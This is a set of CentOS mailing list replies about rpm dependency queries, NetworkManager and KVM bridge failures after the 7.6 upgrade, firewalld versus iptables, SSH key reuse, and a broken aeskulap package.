While not a simple answer, this bash function will provide what you're
looking for:
whatrequires () { (rpm -q --qf '%{NAME}\n' "$1" ; rpm -q --provides "$1"

Take a look at what the package provides: rpm -q --provides lightdm config(lightdm) = 1.25.0-1.el7 lightdm = 1.25.0-1.el7 lightdm(x86-64) = 1.25.0-1.el7 service(graphical-login) = lightdm and then look at what requires those 'provides': rpm -q --whatrequires 'lightdm(x86-64)' lightdm-qt-1.25.0-1.el7.x86_64 lightdm-gobject-1.25.0-1.el7.x86_64 It should be simple enough to script that, and that should get you started.

Re: [CentOS] KVM Client NetworkManager Problem
Hello, On my systems I have after update to last centos 1810 a big Problem with the network?? Om my system I have three NIC two are connected from hardware (hostdev) the last is connected from the bridge on the host. (NetworkManager was disabled) Now after the update the client can't start the NIC's correctly :-( My Problem is the bridged NIC ethX I must Install and activate the NetworkManager or I have a LSB Error [ INFO ] Network Manager is not active. [DEPEND] Dependency failed for Network Manager Wait Online. Starting LSB: Bring up/down networking... [FAILED] Failed to start LSB: Bring up/down networking. But now NetworkManager create sometimes a new config for a new ethX this is configured from dhcp, but I must have a static address to connect other server (ldap...) Also the resolv.conf is overwritten and have wrong nameserver (ipv6) and duplicate search entries ... Now it is the Problem after a reboot the network is not running correct with or without NetworkManager? Thanks for a answer or help, -- Gunter, I have two units that are different users with desktop KVM hypervisors Centos 7 hosts. One had only one network card and it went through the migration from 7.5 to 7.6 without a problem. The other had three network cards and it became disabled with failed network connections. I had to rebuild the network and did so in the following manner. #1. NetworkManager had been turned off. I turned NetworkManger from off to on so that it would create appropriate ifcfg-* files for three network cards after a reboot. #2. I modified the appropriate ifcf-* files and created a new network bridge with one of the cards. After the update to 7.6 I was able to leave NetworkManager running as long as I had the appropriate ifcf-* file and the bridge set with “NM_CONTROLLED=no”. With Centos 7.5 I had to disable NetworkManager because it kept destroying the bridge even with the switch “NM_CONTROLLED=no”. #3. Lastly I had to change the references to the new bridge in the KVM guests. After this everything has worked like it did before the upgrade. My take on this is that kvm hypervisors that are set up with more than one nic card have the potential of having their network setup corrupted when the migration from 7.5 to 7.6 occurs. On a positive note NetworkManager now works with a network bridge with 7.6, but it did not work for me with 7.5. Good Luck!!!

Re: [CentOS] Firewalld and iptables

I'll gladly remove the iptables service package. firewalld is a user-space layer on top of the kernel's iptables machinery. It provides for dynamic changes to the underlying iptables firewall. The old firewall configuration (iptables.service, previously implemented as an initscript in older CentOS versions) assumed a static firewall that was loaded once at boot time. Changes required flushing the entire set of rules and starting again, but that would disrupt running network applications. Firewalld is a higher level description that is able to and and remove rules on a running machine without disrupting applications. It still uses the iptables machinery under the hood. It's good for dynamic systems like mobile devices where interfaces come and go and the device changes networks frequently. ___ CentOS mailing list CentOS@centos.org https://lists.centos.org/mailman/listinfo/centos

One for all is what I do. As long as you keep the private key private you only need distribute the one public key every where you need secure identification. Mike -- Gary, Mike is correct. You are actually making it much harder setting up different keys. All you need to do is what Mike has written above. I have several connections that I maintain in this fashion. Good Luck!!

[CentOS] [Fwd: Centos 7.6 and Aeskulap]
Everyone, Apparently, aeskulap is broken during the upgrade fro 7.5 to 7.6, and is no longer available in the epel repos. I had some difficulty having it function, and during the debug process I decided to do a yum remove, but when I tried a yum install to reinstall it, aeskulap was no longer present. This problem may also affect other modules. I have placed a bug report : https://bugzilla.redhat.com/show_bug.cgi?id=1659667 The depracation of tcp wrappers may be involved in this https://fedoraproject.org/wiki/Changes/Deprecate_TCP_wrappers -- Greg Ennis ___ CentOS mailing list CentOS@centos.org https://lists.centos.org/mailman/listinfo/centos
